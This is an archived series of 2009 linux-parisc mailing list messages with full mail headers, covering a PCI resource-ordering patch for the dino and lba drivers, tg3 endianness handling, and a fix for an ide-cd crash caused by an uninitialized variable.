Subject: [PATCH] PARISC 2.6.30-rc1 advertise PCI devs after
	"assign_resources"
Date: Sun, 19 Apr 2009 22:28:22 -0600
Lines: 77
Approved: news@gmane.org
Message-ID: <20090420042822.GA27021@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1240201714 14631 80.91.229.12 (20 Apr 2009 04:28:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Apr 2009 04:28:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Kyle McMartin <kyle@mcmartin.ca>, Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 20 06:29:52 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lvl8i-0005NG-67
	for glpp-linux-parisc@gmane.org; Mon, 20 Apr 2009 06:29:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750897AbZDTE2Y (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 Apr 2009 00:28:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751356AbZDTE2Y
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 20 Apr 2009 00:28:24 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:37386 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750897AbZDTE2X (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 Apr 2009 00:28:23 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id B935033E018A;
	Sun, 19 Apr 2009 22:28:22 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id IQUHKIaaDnU5; Sun, 19 Apr 2009 22:28:22 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 5809A33E0256; Sun, 19 Apr 2009 22:28:22 -0600 (MDT)
Content-Disposition: inline
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1560
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1560>

Alex Chiang asked me why PARISC was calling pci_bus_add_devices()
and pci_bus_assign_resources() in the opposite order from everyone else.
No reason and I couldn't see any data dependency.
Patch below applies cleanly to 2.6.30-rc2.

Later, I suspected the code worked only because no drivers would be
loaded/ready until much later in the system initialization sequence.

Tested "LBA" code on J6000 (32-bit) and A500 (64-bit SMP) with 2.6.30-rc2.
Not tested with any Dino controllers.
Not tested with PCI-PCI Bridge (TBD).

Reported-by: Alex Chiang <achiang@hp.com>
Signed-off-by: Grant Grundler <grundler@parisc-linux.org>

---
Kyle, Helge,
Including this into 2.6.31 would be fine since there is no
corresponding bug report.  I'd prefer sooner if possible but
recognize it doesn't have to. thanks!

 dino.c    |   10 +++++-----
 lba_pci.c |   10 +++++-----
 2 files changed, 10 insertions(+), 10 deletions(-)


diff --git a/drivers/parisc/dino.c b/drivers/parisc/dino.c
index 52ae0b1..d327c2d 100644
--- a/drivers/parisc/dino.c
+++ b/drivers/parisc/dino.c
@@ -1019,22 +1019,22 @@ static int __init dino_probe(struct parisc_device *dev)
 	** It's not used to avoid chicken/egg problems
 	** with configuration accessor functions.
 	*/
-	bus = pci_scan_bus_parented(&dev->dev, dino_current_bus,
-				    &dino_cfg_ops, NULL);
+	dino_dev->hba.hba_bus = bus = pci_scan_bus_parented(&dev->dev,
+			 dino_current_bus, &dino_cfg_ops, NULL);
+
 	if(bus) {
-		pci_bus_add_devices(bus);
 		/* This code *depends* on scanning being single threaded
 		 * if it isn't, this global bus number count will fail
 		 */
 		dino_current_bus = bus->subordinate + 1;
 		pci_bus_assign_resources(bus);
+		pci_bus_add_devices(bus);
 	} else {
-		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (probably duplicate bus number %d)\n",
+		printk(KERN_ERR "ERROR: failed to scan PCI bus on %s (duplicate bus number %d?)\n",
 		       dev_name(&dev->dev), dino_current_bus);
 		/* increment the bus number in case of duplicates */
 		dino_current_bus++;
 	}
-	dino_dev->hba.hba_bus = bus;
 	return 0;
 }
 
diff --git a/drivers/parisc/lba_pci.c b/drivers/parisc/lba_pci.c
index 59fbbf1..f2661e1 100644
--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1509,10 +1509,6 @@ lba_driver_probe(struct parisc_device *dev)
 	lba_bus = lba_dev->hba.hba_bus =
 		pci_scan_bus_parented(&dev->dev, lba_dev->hba.bus_num.start,
 				cfg_ops, NULL);
-	if (lba_bus) {
-		lba_next_bus = lba_bus->subordinate + 1;
-		pci_bus_add_devices(lba_bus);
-	}
 
 	/* This is in lieu of calling pci_assign_unassigned_resources() */
 	if (is_pdc_pat()) {
@@ -1533,7 +1529,6 @@ lba_driver_probe(struct parisc_device *dev)
 	}
 	pci_enable_bridges(lba_bus);
 

From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Matt Carlson" <mcarlson@broadcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] tg3: fix big endian MAC address collection failure
Date: Mon, 20 Apr 2009 13:46:16 -0700
Lines: 65
Approved: news@gmane.org
Message-ID: <20090420204616.GA7243@xw6200.broadcom.net>
References: <20090418230015.GA32177@lackof.org>
 <C27F8246C663564A84BB7AB343977242177D75A059@IRVEXCHCCR01.corp.ad.broadcom.com>
 <20090419223201.GA22926@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
 charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240260383 3734 80.91.229.12 (20 Apr 2009 20:46:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 20 Apr 2009 20:46:23 +0000 (UTC)
Cc: "Michael Chan" <mchan@broadcom.com>,
	"Matthew Carlson" <mcarlson@broadcom.com>,
	"James Bottomley" <James.Bottomley@HansenPartnership.com>,
	"linux-netdev@vger.kernel.org" <linux-netdev@vger.kernel.org>,
	"Parisc List" <linux-parisc@vger.kernel.org>
To: "Grant Grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Apr 20 22:47:41 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Lw0Oq-0007ng-Sv
	for glpp-linux-parisc@gmane.org; Mon, 20 Apr 2009 22:47:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756604AbZDTUqF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 20 Apr 2009 16:46:05 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756834AbZDTUqF
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Mon, 20 Apr 2009 16:46:05 -0400
Original-Received: from mms1.broadcom.com ([216.31.210.17]:1733 "EHLO mms1.broadcom.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756255AbZDTUqD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 20 Apr 2009 16:46:03 -0400
Original-Received: from [10.9.200.131] by mms1.broadcom.com with ESMTP (Broadcom
 SMTP Relay (Email Firewall v6.3.2)); Mon, 20 Apr 2009 13:45:52 -0700
X-Server-Uuid: 02CED230-5797-4B57-9875-D5D2FEE4708A
Original-Received: from mail-irva-13.broadcom.com (10.11.16.103) by
 IRVEXCHHUB01.corp.ad.broadcom.com (10.9.200.131) with Microsoft SMTP
 Server id 8.1.358.0; Mon, 20 Apr 2009 13:45:52 -0700
Original-Received: from xw6200 (mcarlson [10.12.148.101]) by
 mail-irva-13.broadcom.com (Postfix) with ESMTP id F33EB74D03; Mon, 20
 Apr 2009 13:45:51 -0700 (PDT)
In-Reply-To: <20090419223201.GA22926@lackof.org>
User-Agent: Mutt/1.5.16 (2007-06-09)
X-WSS-ID: 65F2008A38411508409-01-01
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1561
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1561>

On Sun, Apr 19, 2009 at 03:32:02PM -0700, Grant Grundler wrote:
> > > The data is not a byte stream (yet) since we used readl() to retrieve
> > > the value. Use cpu_to_le32() to convert what was originally an LE byte
> > > stream back to a LE byte stream.
> > >
> > > Using either __raw_read() or readb() would have avoided this
> > > confusion.
> > 
> > It's a 32-bit so we cannot use readb().  I don't think the chip will decode
> > the byte enables.
> 
> Ok. Thanks for clarifying.
> 
> > I don't like to use __raw_read() because it does not have
> > the same memory barrier as regular readl().
> 
> I don't think the memory barrier is necessary in the "get" case.
> wmb() is probably needed in the "set" case.
> 
> I was thinking that avoiding several byte swaps would make the code
> more maintainable and one wmb() could be explained with a comment.
> Remember, we are having this conversation because the MAC address
> was incorrectly ordered on BE machine. Seems that a "load from NVRAM"
> and "Store to HostMem" preserves the byte stream order in the same
> way memcpy would. And would be heck of a lot easier to understand.

While we could reduce some of the byte swaps, I'm not sure this
problem will be any easier to grok for that effort.

The confusion in this case stems from the fact that the SEEPROM
interface deals with data in LE format.  This fact violates rule that
the chip always deals with its data in BE format.

We can move the discussion so that we are instead talking about values
as they appear on the bus, but then that just means we need to
highlight that this data comes across the bus in BE format, when every
other value (including the flash interface data) comes across in
LE format.  IOW, no matter where we choose to couch the discussion,
we will still have to somehow convey that the behaviors are backwards
of every other chip access.

The approach you are proposing here hides the problem in the behavioural
differences between __raw_read() and readl().  The problem with this is
that someone at some point in the future wants to make the same
conversion / optimization to the flash interface.  That person will then
be confronted with this exact same problem.

If we really want to make the code more maintainable, I might try
giving the EEPROM it's own "read as value" and "read as bytestream"
functions instead.  This would effectively hide the difference behind
an API.  The intentions would (still) be clear and we would avoid the
pointless byteswap in tg3_nvram_read_using_eeprom() and swapback in
tg3_nvram_read_be32() when attempting to read the data as a bytestream.
Swapping the readl() for __raw_read() then becomes an exercise in
optimization, and we could apply it equally to the flash interface.

The problem with this proposal is that we'd still have the ugly
swap32(be32_to_cpu(data)) wart in tg3_nvram_write_block_using_eeprom().
I'm not sure how I'd want to make that prettier.

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <petkovbb@googlemail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Wed, 22 Apr 2009 08:10:46 +0200
Lines: 58
Approved: news@gmane.org
Message-ID: <20090422061046.GA22451@liondog.tnic>
References: <49E6638B.8090700@gmx.de>
Reply-To: petkovbb@gmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1240380672 5356 80.91.229.12 (22 Apr 2009 06:11:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Apr 2009 06:11:12 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 22 08:12:31 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LwVh7-0004Wu-GB
	for glpp-linux-parisc@gmane.org; Wed, 22 Apr 2009 08:12:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752668AbZDVGKy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Apr 2009 02:10:54 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752854AbZDVGKy
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 22 Apr 2009 02:10:54 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:58032 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752668AbZDVGKx (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Apr 2009 02:10:53 -0400
Original-Received: by fxm2 with SMTP id 2so2905644fxm.37
        for <linux-parisc@vger.kernel.org>; Tue, 21 Apr 2009 23:10:51 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:cc
         :subject:message-id:reply-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=VruVWFZBVQv79mR4ZWynfzkQB2CJpknG3v1RqKmMITI=;
        b=ukCA+JupSy2ZpDm9qWQ9gX1R3WH6NOZd/pYNPyoPCgWEy/kbD/UIF6DzWwj6PAGIOa
         8Vah4l7ZtiAOw1KQL1jjhsKTYWlF3dJy9BYbFt5EK6qVrbIeRyL1CFAyF2On0hunhL1a
         aKl7XU9Ka6d93vx9aRTfI8TjyBwvLMiJ9hDSY=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:reply-to:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=A/ioIAbo6i+DNTPgYJF7yulPAlL4HdRDw/4iELDWuqhEg//F2d2hz0O6fKq3WZamvp
         S/s6jVZLge/73WLoSp/TozezxlsAz0FDatU3xtd2cWwuWEClqT5pFE8LTqG8azlBRB5q
         1P5gRvS3Wh2T1Oo6UcMvx5dBcfZFlMIv2zFWA=
Original-Received: by 10.103.93.18 with SMTP id v18mr4297999mul.43.1240380651130;
        Tue, 21 Apr 2009 23:10:51 -0700 (PDT)
Original-Received: from liondog.tnic (f053081176.adsl.alicedsl.de [78.53.81.176])
        by mx.google.com with ESMTPS id j6sm673790mue.59.2009.04.21.23.10.50
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 21 Apr 2009 23:10:50 -0700 (PDT)
Original-Received: by liondog.tnic (Postfix, from userid 1000)
	id 129ED4B95B2; Wed, 22 Apr 2009 08:10:47 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49E6638B.8090700@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1562
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1562>

Hi,

On Thu, Apr 16, 2009 at 12:45:31AM +0200, Helge Deller wrote:
> With 2.6.30-rc2 I face a kernel crash on the 32bit hppa architecture 
> due to ide-cd when udev creates the device nodes at startup:
> 
> Kernel Fault: Code=26 regs=8ed34c40 (Addr=00000024)
> IASQ: 00000000 00000000 IAOQ: 1034b5ac 1034b5b0
>  IIR: 4ab30048    ISR: 00000000  IOR: 00000024
>  CPU:        0   CR30: 8ed34000 CR31: ffff55ff
>  ORIG_R28: 00000000
>  IAOQ[0]: ide_complete_rq+0x2c/0x70
>  IAOQ[1]: ide_complete_rq+0x30/0x70
>  RP(r2): cdrom_newpc_intr+0x178/0x46c
> Backtrace:
>  [<1035c608>] cdrom_newpc_intr+0x178/0x46c
>  [<1034c494>] ide_intr+0x1b0/0x214
>  [<1016d284>] handle_IRQ_event+0x70/0x150
>  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
>  [<102f7864>] superio_interrupt+0x88/0xbc
>  [<1016d284>] handle_IRQ_event+0x70/0x150
>  [<1016d4b0>] __do_IRQ+0x14c/0x1cc
>  [<10112efc>] do_cpu_irq_mask+0x9c/0xd0
>  [<10116068>] intr_return+0x0/0x4
> 
> This crash seems to happen due to an uninitialized variable "rc".
> The compiler even warns about that:
>   CC      drivers/ide/ide-cd.o                                                         
> /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c: In function `cdrom_newpc_intr':
> /mnt/sda4/home/cvs/parisc/git-kernel/linus-linux-2.6/drivers/ide/ide-cd.c:612: warning: `rc' might be used uninitialized in this function
> 
> After applying the trivial patch below, which just initializes 
> the variable to zero, the kernel doesn't crash any longer:
> 
> Starting the hotplug events dispatcher: udevd.
> Synthesizing the initial hotplug events...
> hda: command error: status=0x51 { DriveReady SeekComplete Error }
> hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
> ide: failed opcode was: unknown
> done.
> 
> Signed-off-by: Helge Deller <deller@gmx.de>
Acked-by: Borislav Petkov <petkovbb@gmail.com>

The original fix was correct. Helge, sorry for the delay but I wanted to
make sure that this wasn't caused by recent rewrite in another area of
ide-cd, thanks.

Bart, please apply.

-- 
Regards/Gruss,
    Boris.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Borislav Petkov <petkovbb@googlemail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Wed, 22 Apr 2009 08:12:53 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20090422061253.GB22451@liondog.tnic>
References: <49E6638B.8090700@gmx.de> <20090416063735.GA21742@liondog.tnic> <49E7945E.7030508@gmx.de> <20090417065344.GC6806@liondog.tnic> <49E82C8F.5060202@gmx.de>
Reply-To: petkovbb@gmail.com
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
X-Trace: ger.gmane.org 1240380818 5675 80.91.229.12 (22 Apr 2009 06:13:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Apr 2009 06:13:38 +0000 (UTC)
Cc: Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 22 08:14:57 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LwVjU-00052G-AN
	for glpp-linux-parisc@gmane.org; Wed, 22 Apr 2009 08:14:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752941AbZDVGNA (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Apr 2009 02:13:00 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752876AbZDVGNA
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 22 Apr 2009 02:13:00 -0400
Original-Received: from mail-fx0-f158.google.com ([209.85.220.158]:55862 "EHLO
	mail-fx0-f158.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752668AbZDVGM7 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Apr 2009 02:12:59 -0400
Original-Received: by fxm2 with SMTP id 2so2906334fxm.37
        for <linux-parisc@vger.kernel.org>; Tue, 21 Apr 2009 23:12:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=googlemail.com; s=gamma;
        h=domainkey-signature:received:received:received:date:from:to:cc
         :subject:message-id:reply-to:references:mime-version:content-type
         :content-disposition:in-reply-to:user-agent;
        bh=HN6MxuxOcJ453LXSEZmEnQEZJtbBs5egOJgpoeOn3Io=;
        b=bJdPpQw+lLWfiwlSUd3rn0j3LYjcp7x92nxeR8RhH+BWpg+1PTnecMGdh5Tgfnk8rR
         rcTiu49tgAKuhCQ0P/kLQg+fZNez10or6zUxOCE/XPQYrpmUuYKTIZ7e8/wCf8ED2rRh
         Hkrf9bu2fllTSMJp1VRtZ++U5B7/coliDuATU=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=googlemail.com; s=gamma;
        h=date:from:to:cc:subject:message-id:reply-to:references:mime-version
         :content-type:content-disposition:in-reply-to:user-agent;
        b=PtchiJ7bmxeb9P3+F7+CyjLx8mI7j8o+udiELCdCizRTQNBeajrEy5QsxYgA6LSXFA
         Ya+MQtNzgO7U4+rmiYbMCex2Ch3z0ExxmCY+DPqic31oEA5wmRUNYtUv/HEfUxQ7/WKM
         htUvHCVbUr6hr2IX0X1J/5ONyrgS5TjkUw4/0=
Original-Received: by 10.103.212.2 with SMTP id o2mr4291625muq.131.1240380777615;
        Tue, 21 Apr 2009 23:12:57 -0700 (PDT)
Original-Received: from liondog.tnic (f053081176.adsl.alicedsl.de [78.53.81.176])
        by mx.google.com with ESMTPS id 12sm19579400muq.35.2009.04.21.23.12.56
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Tue, 21 Apr 2009 23:12:57 -0700 (PDT)
Original-Received: by liondog.tnic (Postfix, from userid 1000)
	id A195E4B95B2; Wed, 22 Apr 2009 08:12:53 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <49E82C8F.5060202@gmx.de>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1563
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1563>

On Fri, Apr 17, 2009 at 09:15:27AM +0200, Helge Deller wrote:
[..]
> >> BTW, even with my patch ATAPI CDROM accesses don't work with the current kernel...
> > 
> > What do you mean by that, please elaborate?
> 
> I meant:
> a) Without my patch the kernel did crash (see backtrace in original mail)
> b) with my patch the kernel booted to login prompt, but I got those messages on the console:
>  hda: command error: status=0x51 { DriveReady SeekComplete Error }
>  hda: command error: error=0x54 <3>{ AbortedCommand LastFailedSense=0x05 }
>  ide: failed opcode was: unknown
> Nevertheless, mounting a cdrom in the drive didn't suceeded with same/similiar messages, but
> this could even be because of the parisc superio driver...

Is it possible to isolate it and test without the superio driver?

-- 
Regards/Gruss,
    Boris.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bartlomiej Zolnierkiewicz <bzolnier@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] ide-cd: fix kernel crash on hppa regression
Date: Wed, 22 Apr 2009 20:27:43 +0200
Lines: 57
Approved: news@gmane.org
Message-ID: <200904222027.44319.bzolnier@gmail.com>
References: <49E6638B.8090700@gmx.de> <20090422061046.GA22451@liondog.tnic>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="utf-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1240425941 29232 80.91.229.12 (22 Apr 2009 18:45:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 22 Apr 2009 18:45:41 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Linus <torvalds@linux-foundation.org>,
	Borislav Petkov <petkovbb@googlemail.com>,
	Kyle McMartin <kyle@mcmartin.ca>,
	"linux-parisc" <linux-parisc@vger.kernel.org>,
	"Rafael J. Wysocki" <rjw@sisk.pl>
To: petkovbb@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 22 20:47:00 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LwhT7-0007gy-3V
	for glpp-linux-parisc@gmane.org; Wed, 22 Apr 2009 20:46:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751317AbZDVSpW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 22 Apr 2009 14:45:22 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751383AbZDVSpW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 22 Apr 2009 14:45:22 -0400
Original-Received: from rv-out-0506.google.com ([209.85.198.231]:19487 "EHLO
	rv-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751317AbZDVSpV (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 22 Apr 2009 14:45:21 -0400
Original-Received: by rv-out-0506.google.com with SMTP id f9so104743rvb.1
        for <linux-parisc@vger.kernel.org>; Wed, 22 Apr 2009 11:45:20 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:from:to:subject:date
         :user-agent:cc:references:in-reply-to:mime-version:content-type
         :content-transfer-encoding:content-disposition:message-id;
        bh=O3tSISBw99is4Bi9DNpPSfsGidXTDXO5HCwSq3HAG4Q=;
        b=UqU5FDa5m9Sii8q8RLyFJw2TjI2ge+Rl46vNt8Ii89MpOsYrH4MjfxR7srA4X2XKwX
         Syf7iYVhb59iXBfIjqAO52suhT1NZbPNy9JcmvJ0EhXIxXNGVxBPLoesVByL18t/g3Vz
         ic4ilHc78kk/R1WYPjNFc2ESSkX9H09oySoCk=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=from:to:subject:date:user-agent:cc:references:in-reply-to
         :mime-version:content-type:content-transfer-encoding
         :content-disposition:message-id;
        b=SxHKK1MwPMoPpDwP4RghlcR75+KwvW8NH59YUYwH01CttJ8Gl3tKhA5eYbuBlYtht/
         HEeK56NdA7AEWPBaZOMHiEQ/pgDq7UQC7eL67c6oR5L+myTaDbMA1gLqxWVKScPDfCZY
         auRQmT70/NISpi1RSltBTEORRdZHw7TM5AAaA=
Original-Received: by 10.115.48.12 with SMTP id a12mr27361wak.161.1240425920249;
        Wed, 22 Apr 2009 11:45:20 -0700 (PDT)
Original-Received: from localhost.localdomain (chello089077051219.chello.pl [89.77.51.219])
        by mx.google.com with ESMTPS id m17sm227323waf.26.2009.04.22.11.45.18
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Wed, 22 Apr 2009 11:45:19 -0700 (PDT)
User-Agent: KMail/1.11.1 (Linux/2.6.29-next-20090403; KDE/4.2.1; i686; ; )
In-Reply-To: <20090422061046.GA22451@liondog.tnic>
Content-Disposition: inline
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1564
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1564>

On Wednesday 22 April 2009 08:10:46 Borislav Petkov wrote:
> Hi,
> 
> On Thu, Apr 16, 2009 at 12:45:31AM +0200, Helge Deller wrote:
> > With 2.6.30-rc2 I face a kernel crash on the 32bit hppa architecture 
> > due to ide-cd when udev creates the device nodes at startup:
> > 
> > Kernel Fault: Code=26 regs=8ed34c40 (Addr=00000024)
> > IASQ: 00000000 00000000 IAOQ: 1034b5ac 1034b5b0
> >  IIR: 4ab30048    ISR: 00000000  IOR: 00000024
> >  CPU:        0   CR30: 8ed34000 CR31: ffff55ff
> >  ORIG_R28: 00000000
> >  IAOQ[0]: ide_complete_rq+0x2c/0x70
> >  IAOQ[1]: ide_complete_rq+0x30/0x70
> >  RP(r2): cdrom_newpc_intr+0x178/0x46c
> > Backtrace:
